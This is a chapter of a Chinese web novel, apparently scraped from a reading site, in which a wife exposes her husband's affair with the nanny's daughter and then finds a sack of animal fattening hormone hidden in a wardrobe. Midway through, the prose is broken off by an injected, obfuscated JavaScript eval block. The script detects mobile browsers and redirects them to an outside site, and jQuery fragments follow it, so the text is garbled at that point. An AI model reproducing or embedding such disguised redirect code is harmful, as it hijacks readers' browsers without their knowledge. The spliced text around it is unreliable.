何嫂刚刚没走成,现在走不成了。
所有人的目光聚光灯一样打在她身上,照得她那张老脸青一阵白一阵。
小李恰巧就站在何嫂前头,目光在何嫂和小三之间迂回,突然“咦”了一声:“你别说,看这姑娘的眼睛,还真跟何嫂一个模子刻出来的!”
“胡说八道啥!”何嫂的嗓音陡然拔高,毫不客气瞪着小李:“你是不是眼瘸,哪里像?!”
小李被他吼得有些不好意思:“不是……”
“啪!”
旁边一声耳刮子响。
冯漫的巴掌干净利落甩在那姑娘脸上,力道不重,但在寂静的房间里格外清脆。
她显然已经帮袁玉珍搬回一城,袁玉珍状况稍安,抚着心口坐在椅子上,锐利的目光在汪辉和何嫂之间来回扫视——汪辉还能强壮镇定,何嫂却是寒毛乍起,一个箭步冲上来,拽住冯漫的胳膊。
“哎呦喂,你怎么随便打人撒!”
冯漫慢条斯理地甩开她的手:“一个出来卖的,打了就打了,你紧张什么。”
“……该不会”她突然凑近何嫂布满皱纹的老脸,“真是你闺女吧?”
何嫂额头冒汗,却一句话都说不出来。
夏迟激动得都快跳起来了。
【破案了破案了,这个何嫂就是幕后黑手。】
【细思极恐啊家人们,这保姆也太心机了,原本只是个菜市场卖菜的,走了狗屎运找了个保姆工作,包吃包住不说,工资比白领都高。结果在人家别墅里住久了,竟然生出歹心,想要做这别墅的女主人。】
【别人家保姆都是偷懒摸鱼,这位直接偷人偷家!自己年迈色衰,不耽误她教唆自己女儿勾搭汪辉,趁着女主人出差的机会,偷偷带女儿住进别墅。】
【女儿也是个人才,三番五次穿个低胸吊带裙在汪辉面前晃悠,知道的说是来做客,不知道的还以为在拍豪门诱惑呢。】
【汪辉这老色胚也不挑食儿,一来二去,眉来眼去,最后擦枪走火成为惯犯。】
【啧啧……《关于我家保姆想当我丈母娘这件事儿》,写出来够养活一个海棠作者了。】
夏迟对着冯漫星星眼。
【漫姐威武!】
【大女主就是帅!】
【哇,原来漫姐和玉珍姐这俩人早就商量好了,今天凑到一起吃饭是假,其实是等着瓮中捉鳖呢。】
倒也没有那么英明,冯漫挠了挠鼻子。
还不是被你这小子透题了。
这边儿何嫂急得直跳脚,她知道冯漫是个大龄剩女,于是戳心窝子诅咒:“你这个男人婆,难怪没男人要。”
“承你吉言。”
冯漫才不在意这个,故意皱起眉头若有所思。
“也是……是我太凶了点儿,小张小李,你俩来。”
小张小李拎小鸡一样把那姑娘提溜起来,当场展示了一把肱二头肌、肱三头肌、三角肌以及胸大肌群。
姑娘吓得泪眼婆娑望向汪辉:“辉哥……”
汪辉装死不敢看她。
冯漫看热闹不嫌事儿大,在旁边寒碜他:“诶哟,你看这小眼巴巴的,汪辉,我怎么觉得这外卖对你情根深种呢,你是不是吃了太多次了,都点一个菜啊?都吃出感情来了。”
她故意顿了顿,“还是说……吃出孝心来了。”
汪辉有苦说不出,只能讷笑。
姑娘见汪辉无动于衷,转而看向何嫂,她涉世未深,自知做了不道德的事,又被俩壮丁捉住,早就被吓破了胆,顿时崩溃大哭:“救我啊,妈……”
何嫂:“……”
这回真是神仙也难救了。
一起来的兄弟们终于看明白了,难怪何嫂急着撵他们出去,原来外卖是保姆亲手送上门的,还是她亲闺女。
这世界还是太癫了。
袁玉珍原本还抱着一丝希望,此刻轰然坠地,碎的渣都不剩。
“何嫂,我待你不薄……”
她声音嘶哑,每个字都像是从牙缝中挤出来的,“我说我每次回家,你都在前院晃悠!原来是给这对狗男女望风呢。”
袁玉珍痛心疾首看着他们仨。
“合着……合着你们才是一家子啊,你们一家三口,合起伙来骗我啊!”
她捶胸顿足。
【一家三口?哪个一家三口?】
夏迟吃着瓜,突然吃出了重点。
随即恍然大悟。
【乖乖!原来玉珍姐早就调查清楚才来捉奸的,她早就知道司机老杨跟何嫂是夫妻俩!】
【老杨、何嫂、小三是一家三口。】
【怪不得回来时要坐冯姐的车,这叫调虎离山,防着老杨通风报信呢。】
????
!!!!
袁玉珍的哭声猛地顿住。
你等会儿?
司机老杨?
和何嫂?
夫妻俩?!
和小三儿?
一家子!!!
都是中国话,连在一起怎么就听不懂了?
一旁冯漫捂住额头,担忧地看向袁玉珍。
天呐,这叫什么事啊!
袁玉珍可是掉进耗子窝里去了。
速效救心丸还是起了作用了。
袁玉珍有一种活人微死的割裂感,眼前是汪辉、何嫂母女哭喊狡辩的样子,耳边却是夏迟絮絮叨叨的吐槽。
【这一家三口,可真是绝了。】
【不想着怎么勤劳致富,天天研究怎么样鸠占鹊巢,好好的女儿教成了这鬼样子。】
【还劝说汪辉把老杨招来当司机,工资多拿一份儿,眼线又多了一个。】
【平时装作不认识,其实晚上都住在保姆间,出入走后门,玉珍姐只要一出差,他们就像阴沟里的蟑螂虫一样冒出来,摇身一变成了别墅的主人呢。】
【喝着限量的拉菲,坐着八十万的沙发,吹着空调欣赏着花园里的喷泉美景,啧啧……】
【只可怜袁玉珍,早出晚归替这家人打工。】
【国产版寄生虫啊。】
袁玉珍摇摇欲坠。
冯漫赶紧朝身后的人使眼色。
“还不快过来帮忙。”
两个大汉过来把何嫂拽到一旁,不让她跑了。
冯漫走过去轻轻拍着袁玉珍的后背,生怕她挺不住:“珍珍,为了这些个烂人不值得,你别气坏了身子。”
夏迟看着也心疼。
【对啊,玉珍姐千万要保重身子,不能让亲者痛仇者快。】
【你要是气死了,小三儿一家就可以名正言顺住你的别墅,睡你的大床,吹你的空调,喝你的红酒,喷你的香水,泡你的浴缸,抱你的狗,还睡你的老公,打你的娃……】
袁玉珍一下子就支楞起来,仿佛打了一针鸡血。
不!我不能倒下。
该死的是他们!!!
袁玉珍站起来了,居高临下扫视这一堆脏东西,三人被缴了手机,蹲在了墙根,汪辉脸肿得像猪头,小三儿妆都花了,何嫂头发散乱。那对狗男女恨不得把头埋进地缝里,唯独何嫂梗着脖子,浑浊的眼珠子滴溜溜乱转,盘算着脱身之计。
“何嫂。”袁玉珍的声音冷飕飕的:“你跟司机杨军,到底是什么关系?”
何嫂一听,知道这些事是彻底败露了,但还是硬着头皮装傻。
“……我不懂你在说什么。”
“那我就把话挑明了。”
袁玉珍猛地一拍桌子,震得何嫂身子一抖:“我花了两万月薪请你当保姆,你倒好,把丈夫安排来当司机,把女儿塞给我男人当姘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578657|171549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
|头,一家三口住我的吃我的穿我的,连女儿偷人都要在我眼皮子底下,你这算盘打得真精啊。”
她突然扬起手,“啪”得一声脆响,迟来的大逼斗终于狠狠扇在何嫂脸上。
何婶却是个不吃亏的,作势要打回来,却被武行一个反剪,摁王八一样死死摁在墙上。
袁玉珍的目光又看向那小三。
“长得倒是挺会勾人。”
袁玉珍用看蟑螂的眼神睥睨着她,“汪辉说你是鸡你都认……这么忍辱负重……”
她突然俯下身,摸了一下姑娘的脸,“是为了爱么?还是他许了你什么好处?”
姑娘的睫毛疯狂颤抖,袁玉珍却已经直起身,轻飘飘地说:“不管他答应给你什么,我都能让他变得一无所有。”
这句话像是捅了马蜂窝,何嫂明显慌张了起来,汪辉突然膝行过来,一把抱住袁玉珍的腿:“玉珍,我们十年夫妻,你就饶了我这一次……”
“十年?”袁玉珍一脚踹开他,“十年够你在我的别墅里养了个小老婆,我说你怎么总是无缘无故搞失踪,你说是去花园抽烟,原来是幽会佳人呢,楼上妻楼下妾,汪辉,你可真是时间管理大师啊。”
她掸了一下裙摆上并不存在的灰尘:“离婚吧。”
像是按下静音键,屋里瞬间鸦雀无声。
小三脸色煞白,何嫂倒吸一口凉气,汪辉则像是被雷劈了似得僵在原地。
【这反应不对吧。】
夏迟在旁边看得真切。
“不!玉珍!”汪辉突然痛哭流涕,“我是一时糊涂啊!都是他们设计我!”
他指着小三:“我都是被逼的,是她勾引我的!是他们拿这些事要挟我,我这就把她们赶出去……”
【啧啧……】
夏迟狂补刀。
【渣男的眼泪真是比鳄鱼还廉价。】
【他哪里是舍不得感情?是舍不得摇钱树。】
【吃了十年的软饭,离婚后能分到什么?别说袁玉珍现下资不抵债,何嫂心心念念的别墅,那都是袁玉珍的婚前财产。】
【除非……女主人不在了。】
夏迟最后幽幽来了一句,听得冯漫后脊背发凉。
啥?
啥叫不在了?
袁玉珍只觉得一股寒意从脚底直窜上天灵盖,手指不自觉拽紧。
她紧紧盯着夏迟的动向。
刚刚闹得最凶的时候,夏迟趁人不备,已经在屋里溜达了一圈,这会儿,神兽又晃悠起来,指尖拂过梳妆台上的瓶瓶罐罐,又弯腰看了看床底,最后停在了角落的衣柜前。
柜门被他悄咪咪推开一条缝,借着灯光,夏迟看向里头。
“天呐。”他突然捏住嗓子尖叫:“这,这是什么东西啊!”
众人的目光被吸引过来,武行们还在观望,何嫂却激动起来,摁都摁不住。
“你们干什么?这是我的私人物品,谁都不许碰。”
所有人都能看出来,何嫂脸上那张牙舞爪的疯癫,来自于秘密将要被揭穿的惊恐。
可她越是想要掩饰,越是此地无银。
小张小李走过来打开衣柜,里头放着几床收纳好的被褥,若说可疑的,便只有最下面一层角落里一个鼓鼓囊囊的面粉袋,棉线扎着口。
“这就奇怪了,谁会把粮食放被褥旁边。”
小李和小张对望一眼,把袋子拖了出来,袋子上头花花绿绿印着广告。
小李一字一顿辨认着。
“催肥……增重……猛涨……促生长,兽用快速催肥激素……增肥一号……一夜长十斤……”
“这是猪饲料吧,怎么会放衣柜里,城里还有人养猪?”
小李是个憨货,自顾自的说,说完突然浑身一冷。
房间里安静得可怕。